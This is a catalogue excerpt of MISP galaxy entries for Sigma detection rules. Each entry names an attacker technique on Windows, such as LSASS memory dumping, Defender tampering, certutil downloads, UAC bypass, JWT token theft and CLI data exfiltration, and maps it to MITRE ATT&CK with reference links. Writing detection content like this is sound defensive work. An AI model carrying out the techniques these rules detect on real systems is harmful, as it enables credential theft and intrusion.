Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: *misp-galaxy:sigma-rules="Potential Network Sniffing Activity Using Network Tools"*

View relationships graph

Potential Network Sniffing Activity Using Network Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 14975. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_sniffing.yml

UEFI Persistence Via Wpbbin - ProcessCreation

Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section

The tag is: *misp-galaxy:sigma-rules="UEFI Persistence Via Wpbbin - ProcessCreation"*

View relationships graph

UEFI Persistence Via Wpbbin - ProcessCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"

Table 14976. Table References

Links
https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
https://persistence-info.github.io/Data/wpbbin.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_potential_persistence.yml

Malicious Base64 Encoded PowerShell Keywords in Command Lines

Detects base64 encoded strings used in hidden malicious PowerShell command lines

The tag is: *misp-galaxy:sigma-rules="Malicious Base64 Encoded PowerShell Keywords in Command Lines"*

View relationships graph

Malicious Base64 Encoded PowerShell Keywords in Command Lines has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14977. Table References

Links
http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_hidden_flag.yml

Psexec Execution

Detects user accept agreement execution in psexec commandline

The tag is: *misp-galaxy:sigma-rules="Psexec Execution"*

View relationships graph

Psexec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 14978. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_execution.yml

Interesting Service Enumeration Via Sc.EXE

Detects the enumeration and query of interesting and in some cases sensitive services on the system via "sc.exe". Attackers often try to enumerate the services currently running on a system in order to find different attack vectors.

The tag is: *misp-galaxy:sigma-rules="Interesting Service Enumeration Via Sc.EXE"*

View relationships graph

Interesting Service Enumeration Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 14979. Table References

Links
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
https://pentestlab.blog/tag/svchost/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query_interesting_services.yml

Chromium Browser Instance Executed With Custom Extension

Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension

The tag is: *misp-galaxy:sigma-rules="Chromium Browser Instance Executed With Custom Extension"*

View relationships graph

Chromium Browser Instance Executed With Custom Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176.001" with estimative-language:likelihood-probability="almost-certain"

Table 14980. Table References

Links
https://emkc.org/s/RJjuLa
https://www.mandiant.com/resources/blog/lnk-between-browsers
https://redcanary.com/blog/chromeloader/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_load_extension.yml

Suspicious Service DACL Modification Via Set-Service Cmdlet

Detects suspicious DACL modifications via the "Set-Service" cmdlet using the "SecurityDescriptorSddl" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable

The tag is: *misp-galaxy:sigma-rules="Suspicious Service DACL Modification Via Set-Service Cmdlet"*

View relationships graph

Suspicious Service DACL Modification Via Set-Service Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 14981. Table References

Links
https://learn.microsoft.com/pt-br/windows/win32/secauthz/sid-strings
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_service_dacl_modification_set_service.yml

Python Function Execution Security Warning Disabled In Excel

Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

The tag is: *misp-galaxy:sigma-rules="Python Function Execution Security Warning Disabled In Excel"*

View relationships graph

Python Function Execution Security Warning Disabled In Excel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14982. Table References

Links
https://support.microsoft.com/en-us/office/data-security-and-python-in-excel-33cc88a4-4a87-485e-9ff9-f35958278327

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_office_disable_python_security_warnings.yml

PUA - NPS Tunneling Tool Execution

Detects the use of NPS, a port forwarding and intranet penetration proxy server

The tag is: *misp-galaxy:sigma-rules="PUA - NPS Tunneling Tool Execution"*

View relationships graph

PUA - NPS Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 14983. Table References

Links
https://github.com/ehang-io/nps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nps.yml

Indirect Command Execution From Script File Via Bash.EXE

Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

The tag is: *misp-galaxy:sigma-rules="Indirect Command Execution From Script File Via Bash.EXE"*

View relationships graph

Indirect Command Execution From Script File Via Bash.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 14984. Table References

Links
Internal Research[Internal Research]
https://lolbas-project.github.io/lolbas/Binaries/Bash/
https://linux.die.net/man/1/bash
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_file_execution.yml

Remote Access Tool - Anydesk Execution From Suspicious Folder

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Anydesk Execution From Suspicious Folder"*

View relationships graph

Remote Access Tool - Anydesk Execution From Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14985. Table References

Links
https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_susp_exec.yml

Suspicious Processes Spawned by WinRM

Detects suspicious processes including shells spawnd from WinRM host process

The tag is: *misp-galaxy:sigma-rules="Suspicious Processes Spawned by WinRM"*

View relationships graph

Suspicious Processes Spawned by WinRM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 14986. Table References

Links
Internal Research[Internal Research]

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_susp_child_process.yml

Suspicious Windows Defender Registry Key Tampering Via Reg.EXE

Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows Defender Registry Key Tampering Via Reg.EXE"*

View relationships graph

Suspicious Windows Defender Registry Key Tampering Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14987. Table References

Links
https://tria.ge/241231-j9yatstqbm/behavioral1
https://github.com/swagkarna/Defeat-Defender-V1.2.0/tree/ae4059c4276da6f6303b8f53cdff085ecae88a91
https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/
https://www.elevenforum.com/t/video-guide-how-to-completely-disable-microsoft-defender-antivirus.14608/page-2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_windows_defender_tamper.yml

Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy:sigma-rules="Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet"*

View relationships graph

Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet has relationships

with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

Table 14988. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_zip_compress.yml

Potential Data Exfiltration Activity Via CommandLine Tools

Detects the use of various CLI utilities exfiltrating data via web requests

The tag is: *misp-galaxy:sigma-rules="Potential Data Exfiltration Activity Via CommandLine Tools"*

View relationships graph

Potential Data Exfiltration Activity Via CommandLine Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14989. Table References

Links
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_data_exfiltration_via_cli.yml

ManageEngine Endpoint Central Dctask64.EXE Potential Abuse

Detects the execution of "dctask64.exe", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

The tag is: *misp-galaxy:sigma-rules="ManageEngine Endpoint Central Dctask64.EXE Potential Abuse"*

View relationships graph

ManageEngine Endpoint Central Dctask64.EXE Potential Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 14990. Table References

Links
https://twitter.com/gN3mes1s/status/1222095963789111296
https://twitter.com/gN3mes1s/status/1222088214581825540
https://twitter.com/gN3mes1s/status/1222095371175911424
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dctask64_arbitrary_command_and_dll_execution.yml

Remote Access Tool - RURAT Execution From Unusual Location

Detects execution of Remote Utilities RAT (RURAT) from an unusual location (outside of 'C:\Program Files')

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - RURAT Execution From Unusual Location"*

Table 14991. Table References

Links
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_rurat_non_default_location.yml

Use of FSharp Interpreters

Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline.

The tag is: *misp-galaxy:sigma-rules="Use of FSharp Interpreters"*

View relationships graph

Use of FSharp Interpreters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14992. Table References

Links

https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsi_fsharp_code_execution.yml

SQLite Chromium Profile Data DB Access

Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.

The tag is: *misp-galaxy:sigma-rules="SQLite Chromium Profile Data DB Access"*

View relationships graph

SQLite Chromium Profile Data DB Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 14993. Table References

Links
https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/
https://github.com/redcanaryco/atomic-red-team/blob/84d9edaaaa2c5511144521b0e4af726d1c7276ce/atomics/T1539/T1539.md#atomic-test-2---steal-chrome-cookies-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_chromium_profile_data.yml

Potentially Suspicious ASP.NET Compilation Via AspNetCompiler

Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious ASP.NET Compilation Via*

AspNetCompiler"

View relationships graph

Potentially Suspicious ASP.NET Compilation Via AspNetCompiler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 14994. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/
https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_paths.yml

HackTool - XORDump Execution

Detects suspicious use of XORDump process memory dumping utility

The tag is: *misp-galaxy:sigma-rules="HackTool - XORDump Execution"*

View relationships graph

HackTool - XORDump Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14995. Table References

Links
https://github.com/audibleblink/xordump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_xordump.yml

Suspicious WebDav Client Execution Via Rundll32.EXE

Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397

The tag is: *misp-galaxy:sigma-rules="Suspicious WebDav Client Execution Via Rundll32.EXE"*

View relationships graph

Suspicious WebDav Client Execution Via Rundll32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 14996. Table References

Links
https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/
https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/
https://twitter.com/aceresponder/status/1636116096506818562
https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png
https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_susp_execution.yml

TrustedPath UAC Bypass Pattern

Detects indicators of a UAC bypass method by mocking directories

The tag is: *misp-galaxy:sigma-rules="TrustedPath UAC Bypass Pattern"*

View relationships graph

TrustedPath UAC Bypass Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14997. Table References

Links
https://x.com/Wietze/status/1933495426952421843
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
https://github.com/netero1010/TrustedPath-UACBypass-BOF
https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_trustedpath.yml

Renamed Msdt.EXE Execution

Detects the execution of a renamed "Msdt.exe" binary

The tag is: *misp-galaxy:sigma-rules="Renamed Msdt.EXE Execution"*

View relationships graph

Renamed Msdt.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 14998. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msdt/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml

HKTL - SharpSuccessor Privilege Escalation Tool Execution

Detects the execution of SharpSuccessor, a tool used to exploit the BadSuccessor attack for privilege escalation in WinServer 2025 Active Directory environments. Successful usage of this tool can let the attackers gain the domain admin privileges by exploiting the BadSuccessor vulnerability.

The tag is: *misp-galaxy:sigma-rules="HKTL - SharpSuccessor Privilege Escalation Tool Execution"*

View relationships graph

HKTL - SharpSuccessor Privilege Escalation Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14999. Table References

Links
https://github.com/logangoins/SharpSuccessor
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpsuccessor_execution.yml

Process Access via TrolleyExpress Exclusion

Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory

The tag is: *misp-galaxy:sigma-rules="Process Access via TrolleyExpress Exclusion"*

View relationships graph

Process Access via TrolleyExpress Exclusion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15000. Table References

Links
https://twitter.com/*xpn*/status/1491557187168178176
https://www.youtube.com/watch?v=Ie831jF0bb0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_citrix_trolleyexpress_procdump.yml

Potential Product Reconnaissance Via Wmic.EXE

Detects the execution of WMIC in order to get a list of firewall and antivirus products

The tag is: *misp-galaxy:sigma-rules="Potential Product Reconnaissance Via Wmic.EXE"*

View relationships graph

Potential Product Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15001. Table References

Links
https://www.yeahhub.com/list-installed-programs-version-path-windows/
https://learn.microsoft.com/en-us/answers/questions/253555/software-list-inventory-wmic-product
https://thedfirreport.com/2023/03/06/2022-year-in-review/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product.yml

Suspicious Download Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files.

The tag is: *misp-galaxy:sigma-rules="Suspicious Download Via Certutil.EXE"*

View relationships graph

Suspicious Download Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15002. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://twitter.com/egre55/status/1087685529016193025
https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://forensicitguy.github.io/agenttesla-vba-certutil-download/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Suspicious Modification Of Scheduled Tasks

Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload

The tag is: *misp-galaxy:sigma-rules="Suspicious Modification Of Scheduled Tasks"*

View relationships graph

Suspicious Modification Of Scheduled Tasks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15003. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_change.yml

Sensitive File Dump Via Wbadmin.EXE

Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.

The tag is: *misp-galaxy:sigma-rules="Sensitive File Dump Via Wbadmin.EXE"*

View relationships graph

Sensitive File Dump Via Wbadmin.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15004. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery
https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml

Odbcconf.EXE Suspicious DLL Location

Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.

The tag is: *misp-galaxy:sigma-rules="Odbcconf.EXE Suspicious DLL Location"*

View relationships graph

Odbcconf.EXE Suspicious DLL Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15005. Table References

Links
https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/

https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_exec_susp_locations.yml

Replace.exe Usage

Detects the use of Replace.exe which can be used to replace file with another file

The tag is: *misp-galaxy:sigma-rules="Replace.exe Usage"*

View relationships graph

Replace.exe Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15006. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Replace/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/replace
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml

Microsoft IIS Service Account Password Dumped

Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords

The tag is: *misp-galaxy:sigma-rules="Microsoft IIS Service Account Password Dumped"*

View relationships graph

Microsoft IIS Service Account Password Dumped has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15007. Table References

Links
https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html
https://www.netspi.com/blog/technical/network-penetration-testing/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/

https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_service_account_password_dumped.yml

Suspicious Copy From or To System Directory

Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.

The tag is: *misp-galaxy:sigma-rules="Suspicious Copy From or To System Directory"*

View relationships graph

Suspicious Copy From or To System Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15008. Table References

Links
https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120
https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir.yml

MsiExec Web Install

Detects suspicious msiexec process starts with web addresses as parameter

The tag is: *misp-galaxy:sigma-rules="MsiExec Web Install"*

View relationships graph

MsiExec Web Install has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15009. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml

Suspicious GUP Usage

Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks

The tag is: *misp-galaxy:sigma-rules="Suspicious GUP Usage"*

View relationships graph

Suspicious GUP Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15010. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_suspicious_execution.yml

Security Privileges Enumeration Via Whoami.EXE

Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.

The tag is: *misp-galaxy:sigma-rules="Security Privileges Enumeration Via Whoami.EXE"*

View relationships graph

Security Privileges Enumeration Via Whoami.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15011. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery.yml

Potentially Suspicious JWT Token Search Via CLI

Detects potentially suspicious search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". JWT tokens are often used for access-tokens across various applications and services like Microsoft 365, Azure, AWS, Google Cloud, and others. Threat actors may search for these tokens to steal them for lateral movement or privilege escalation.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious JWT Token Search Via CLI"*

View relationships graph

Potentially Suspicious JWT Token Search Via CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 15012. Table References

Links
https://www.scip.ch/en/?labs.20240523
https://mrd0x.com/stealing-tokens-from-office-applications/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_jwt_token_search.yml

Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)

Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.

The tag is: *misp-galaxy:sigma-rules="Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)"*

View relationships graph

Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15013. Table References

Links

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_susp_usage.yml

